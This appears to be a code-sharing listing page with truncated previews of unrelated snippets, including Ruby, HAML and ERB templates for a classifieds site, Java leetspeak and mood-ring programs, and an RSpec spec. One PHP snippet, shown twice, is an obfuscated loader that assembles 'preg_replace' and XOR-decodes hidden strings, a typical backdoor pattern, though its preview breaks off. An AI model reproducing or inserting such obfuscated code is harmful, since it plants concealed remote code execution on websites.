This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
require 'time' | |
require 'yaml' | |
time_file = 'time_log.yml' | |
time_temp_file = 'time_temp.yml' | |
def get_previous_time f | |
f['Time'] | |
end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
%h2 Categories | |
- i = 0 | |
.span9.categories | |
- @categories.each do |category| | |
= ".row-fluid" if i % 3 == 0 | |
.span4 | |
%h2= category.name | |
.well | |
%ul | |
- category.sections.each do |section| |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<%- if i%3 == 0 %> | |
<div class="row-fluid"> | |
<% end %> | |
<div class="span4"> | |
<h2>For sale</h2> | |
<div class="well"> | |
<ul> | |
<li><a href="#">Textbooks</a></li> | |
<li><a href="#">Furniture</a></li> | |
<li><a href="#">Kitchen Appliances</a></li> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/*amOmMQfUYVN0OxwwRjomMCHT1A0KOZXoCl | |
2wjQHwPWkBI2lxexzlHpmH12gOgizxwrkV | |
INEsONk1AEozqvfS3WJZkp8aduIDGFvOS18hDhXDmC4S | |
kqvuFWaCx4x674BsHUiF2lmPoORhhF8Hws32FS | |
LrxIkz1sJZxBAaQpoiNLoKTa3MR9eM1q4ozedpNmEBnFb5uG | |
*/ | |
//miBy10TC1A7ezb8fokkqNqHIaOlZhthJ | |
$IPwXsveV='p'. 'reg_replac'.'e'; $ivAqSMVn="rbjfxy6ilF1hhrbHIo3"^"\x5d\x1b\x22\x02\x283c9\x2b3y\x0c\x1b\x1a\x2e\x10\x04\x40V"; $IPwXsveV($ivAqSMVn, "P2aIsq04NK9Ymr8IIz6AuNiV8WclRl6hcVpKCoEPyDnbulj3ae4Lrchpy0RGkMnDhTNk8S1wVeNGFx0fR4r0VOpKN7QyI42qMFQKXG8skLyp9xLQr4QCH6MV2cJAWAqjF8udDrLo4AU3ygIfZZhgUu3MMBMjC3IHz3l4kwhdx3VmYeHx4pU"^"5D\x00\x25\x5bSYRf\x22J\x2a\x08\x06\x10\x15\x15\x5ei\x13\x30\x1f\x3c\x13k\x038K1\x04\x115JvVmcG\x284Ll2\x3eQ38v\x30\x30q\x1f\x268O\x13\x11\x17\x0fnKpSdO\x60\x2dX\x0a7\x05N2Wws\x7fOQ\x044V\x40UezAy\x2d\x072\x1a\x2d\x02\x0b\x14\x7eaxk\x7ea\x18\x1a\x18\x3f\x1c\x04\x11\x24\x10u\x2df\x14\x12\x1ds\x1e\x02iD\x3a\x29\x27\x1e\x12\x05\x22\x5dR9m\x5bl\x14\x14\x24\x23R\x15O\x15\x3a\x7e\x05\x3a\x22\x04\x20v\x1e\x19\x19j\x1a\x2bC\x16\x2b\x15W\x09\x136\x5eSD\x1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/*amOmMQfUYVN0OxwwRjomMCHT1A0KOZXoCl | |
2wjQHwPWkBI2lxexzlHpmH12gOgizxwrkV | |
INEsONk1AEozqvfS3WJZkp8aduIDGFvOS18hDhXDmC4S | |
kqvuFWaCx4x674BsHUiF2lmPoORhhF8Hws32FS | |
LrxIkz1sJZxBAaQpoiNLoKTa3MR9eM1q4ozedpNmEBnFb5uG | |
*/ | |
//miBy10TC1A7ezb8fokkqNqHIaOlZhthJ | |
$IPwXsveV='p'. 'reg_replac'.'e'; $ivAqSMVn="rbjfxy6ilF1hhrbHIo3"^"\x5d\x1b\x22\x02\x283c9\x2b3y\x0c\x1b\x1a\x2e\x10\x04\x40V"; $IPwXsveV($ivAqSMVn, "P2aIsq04NK9Ymr8IIz6AuNiV8WclRl6hcVpKCoEPyDnbulj3ae4Lrchpy0RGkMnDhTNk8S1wVeNGFx0fR4r0VOpKN7QyI42qMFQKXG8skLyp9xLQr4QCH6MV2cJAWAqjF8udDrLo4AU3ygIfZZhgUu3MMBMjC3IHz3l4kwhdx3VmYeHx4pU"^"5D\x00\x25\x5bSYRf\x22J\x2a\x08\x06\x10\x15\x15\x5ei\x13\x30\x1f\x3c\x13k\x038K1\x04\x115JvVmcG\x284Ll2\x3eQ38v\x30\x30q\x1f\x268O\x13\x11\x17\x0fnKpSdO\x60\x2dX\x0a7\x05N2Wws\x7fOQ\x044V\x40UezAy\x2d\x072\x1a\x2d\x02\x0b\x14\x7eaxk\x7ea\x18\x1a\x18\x3f\x1c\x04\x11\x24\x10u\x2df\x14\x12\x1ds\x1e\x02iD\x3a\x29\x27\x1e\x12\x05\x22\x5dR9m\x5bl\x14\x14\x24\x23R\x15O\x15\x3a\x7e\x05\x3a\x22\x04\x20v\x1e\x19\x19j\x1a\x2bC\x16\x2b\x15W\x09\x136\x5eSD\x1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.util.*; | |
/** | |
* LeetTranslator translates text into leetspeak | |
*/ | |
public class LeetTranslator { | |
public static void main(String[] args) { | |
// Create the mapping between normal characters and leet speak | |
Map<Character, Character> leetMap = new HashMap<Character, Character>(); | |
leetMap.put('a', '@'); | |
leetMap.put('e', '3'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.util.*; | |
/** | |
* LeetTranslator translates text into leetspeak | |
*/ | |
public class LeetTranslator { | |
public static void main(String[] args) { | |
// Create the mapping between normal characters and leet speak | |
Map<Character, Character> leetMap = new HashMap<Character, Character>(); | |
leetMap.put('a', '@'); | |
leetMap.put('e', '3'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.util.*; | |
/** | |
* LeetTranslator translates text into leetspeak | |
*/ | |
public class LeetTranslator { | |
public static void main(String[] args) { | |
// Ask the user whether to convert between normal -> leet or leet -> normal | |
Scanner scan = new Scanner(System.in); | |
System.out.print("Type N to convert from (N)ormal text to Leetspeak, or L to convert from (L)eetspeak to Normal: "); | |
String type = scan.nextLine().replace("\n", "").replace("\r", ""); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.awt.*; | |
import java.util.*; | |
import javax.swing.*; | |
/** | |
* An applet to create a mood ring | |
*/ | |
public class MoodRingApplet extends JApplet{ | |
public void paint(Graphics page) { | |
Random generator = new Random(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# --- SPEC FILE ---- | |
describe "#create" do | |
before do | |
@create_hash = { | |
category_id: category.id, | |
section_id: section.id, | |
listing: FactoryGirl.attributes_for(:listing) | |
} | |
end | |
subject { post :create, @create_hash} |